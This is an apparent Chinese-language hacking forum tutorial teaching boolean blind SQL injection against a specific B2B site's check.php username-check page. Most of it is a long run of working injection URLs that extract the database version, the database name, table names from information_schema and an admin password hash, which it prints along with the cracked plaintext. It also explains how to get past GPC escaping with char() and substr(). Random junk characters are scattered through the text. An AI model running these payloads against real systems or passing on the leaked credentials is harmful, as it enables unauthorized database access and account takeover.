|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
V2 v: j0 {3 ?* E* O4 O阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲, s8 ~5 Y3 \( T9 V1 M/ ?6 a2 M
作者:YoCo Smart. Z! y9 [( |4 P* R6 r
来自:习科信息技术 - http://BlackBap.Org
0 `4 c2 F0 h: ~+ \" b0 O. P我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
* v+ I, m. k* |# Z; ]/ M {7 }8 @5 h8 z# B( ^, e' u7 e. S
复制代码
+ q0 C5 A% Q; w5 H/ u2 D3 ~5 J错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }, r% }. T2 |0 r- X2 S
% t o* Z( P3 i# k {" P
复制代码
. e1 A$ L7 k( e, S9 X9 G. w1 O' S/ d. a以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合9 p) J: j* Z( @# }' p/ V
那么我们先从union的盲注来看吧。0 S- ^$ T3 e+ |! j _
先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23% d0 a4 z# j5 W. y, p: L
5 m0 O3 k5 ]- e1 Q
复制代码
4 `$ o# ]0 f9 \: w* W$ P5 @9 a这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
5 f9 j2 ^8 N0 K- @/ I" D4 V ; C4 y3 N+ b, u# f+ {' L4 [
复制代码( K0 T( v, V3 [1 K0 C
因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
P( }8 Y% q3 Y9 {. h& B/ j, e再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny/ a$ N; ]" F: T8 l
% c! Q6 X& O2 ]) s* m复制代码2 c" }7 F5 }& D( Q2 v' B
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
- M; ~! A! s6 G2 ^) R& X这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
2 [( N, e* H" q* \# S再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
! d# P2 E- x1 s( O* Q3 v 1 S% D' r4 l" j; d: T
复制代码
8 r& e! k! u4 O这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
/ ?# c4 }& _. B3 T; p- o这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句5 |7 k R- t) R" C& p
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly
# Q9 |, |0 Y$ l
9 Z- i: h% ?% U- S4 j( N* U复制代码
$ M1 E, m. ~7 T7 {这样,猜数据的方法你肯定是懂了
/ U$ W2 U+ v& m* M
5 {, Y* N* c" N" i* J) G6 f% U$ g! K2 T4 z6 p3 X
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%232 l Z2 @2 Z0 A+ i# F' T
7 z, D$ s4 i1 T- b
复制代码
) h0 d2 s5 v. n y实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'8 l+ t, b; @0 O9 X- r
6 `3 b/ l5 e. n/ A' D& s
复制代码. p/ @! k2 C. Y9 n% f) m
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
, S, q; M( N4 ^& Z- I关于limit x,y 的用法,可以参考MySQL手册( D# }, m& w- g$ n' a" C7 A9 E
( U @4 G, d" H8 T! N
最后剩下的要说的就是ascii函数和hex函数了
- x& k7 ?; H' ?/ A6 s( b# \# v+ N9 O" }这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#4 X) A. t0 n) k) z; }+ @8 I
0 N$ y9 \$ K6 t8 ?9 w4 \复制代码4 G: \4 P/ I' |
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|